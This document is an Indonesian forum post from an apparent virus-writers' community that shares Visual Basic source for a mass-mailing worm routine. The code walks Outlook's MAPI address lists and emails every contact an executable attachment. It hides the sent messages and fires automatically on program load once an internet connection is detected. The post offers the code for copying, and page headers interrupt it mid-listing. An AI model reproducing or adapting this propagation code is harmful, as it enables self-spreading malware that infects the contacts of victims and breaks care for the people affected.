Virus.Ognizer.net The Online Virus Community Copyright © Virus.Ognizer.net. All rights reserved.
Metode penyebaran lewat email (VB) bagus_badboy Posted: Sun Dec 10, 2006 2:52 am Post subject: Metode penyebaran lewat email
Outlook Express VB 1. Kembangkan sendiri sourcecodeX. 2. Klo males ketik, copy aja or open langsung Project1. 3. Semoga bermanfaat. 4. Klo ada saran or tambahan apa aja kirimin aja ke (
[email protected]). 5. PlusMinusX mohon maaf yach. Form : ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Function Outlook() On Error Resume Next Set OutlookApp = CreateObject("Outlook.Application") If OutlookApp = "Outlook" Then Set Mapi = OutlookApp.GetNameSpace("MAPI") Set MapiAdList = Mapi.AddressLists For Each Address In MapiAdList If Address.AddressEntries.Count <> 0 Then NumOfContacts = Address.AddressEntries.Count For ContactNumber = 1 To NumOfContacts Set EmailItem = OutlookApp.CreateItem(0) Set ContactNumber = Address.AddressEntries(ContactNumber) EmailItem.To = ContactNumber.Address EmailItem.Subject = "Percobaan, ;o)" EmailItem.Body = "Percobaan" Set EmailAttachment = EmailItem.Attachments EmailAttachment.Add = GetSpecialfolder(&H5) & "Percobaan.exe" EmailItem.DeleteAfterSubmit = True If EmailItem.To <> "" Then EmailItem.Send Documentation Vxer Center Http://Virus29a.blogspot.com
1
Virus.Ognizer.net The Online Virus Community Copyright © Virus.Ognizer.net. All rights reserved. End If Next End If Next End If End Function ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Private Sub Form_Load() On Error Resume Next If Second(Now) Mod 30 = 0 Then If InternetCheckConnection("http://www.yahoo.com/", FLAG_ICC_FORCE_CONNECTION, 0&) <> 0 Or InternetCheckConnection("http://www.google.com/", FLAG_ICC_FORCE_CONNECTION, 0&) <> 0 Then Call Outlook End If End If End Sub ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Module: Public Declare Function ShellAbout Lib "shell32.dll" Alias "ShellAboutA" (ByVal hWnd As Long, ByVal szApp As String, ByVal szOtherStuff As String, ByVal hIcon As Long) As Long Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long Public Declare Function InternetCheckConnection Lib "wininet.dll" Alias "InternetCheckConnectionA" (ByVal lpszUrl As String, ByVal dwFlags As Long, ByVal dwReserved As Long) As Long Public Type SHITEMID cb As Long abID As Byte End Type Public Type ITEMIDLIST mkid As SHITEMID End Type Public Const FLAG_ICC_FORCE_CONNECTION = &H1 ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Public Function GetSpecialfolder(CSIDL As Long) As String On Error Resume Next Documentation Vxer Center Http://Virus29a.blogspot.com
2
Virus.Ognizer.net The Online Virus Community Copyright © Virus.Ognizer.net. All rights reserved.
Dim r As Long Dim IDL As ITEMIDLIST r = SHGetSpecialFolderLocation(100, CSIDL, IDL) If r = NOERROR Then Path$ = Space$(512) r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$) GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1) Exit Function End If GetSpecialfolder = "" End Function
Documentation Vxer Center Http://Virus29a.blogspot.com
3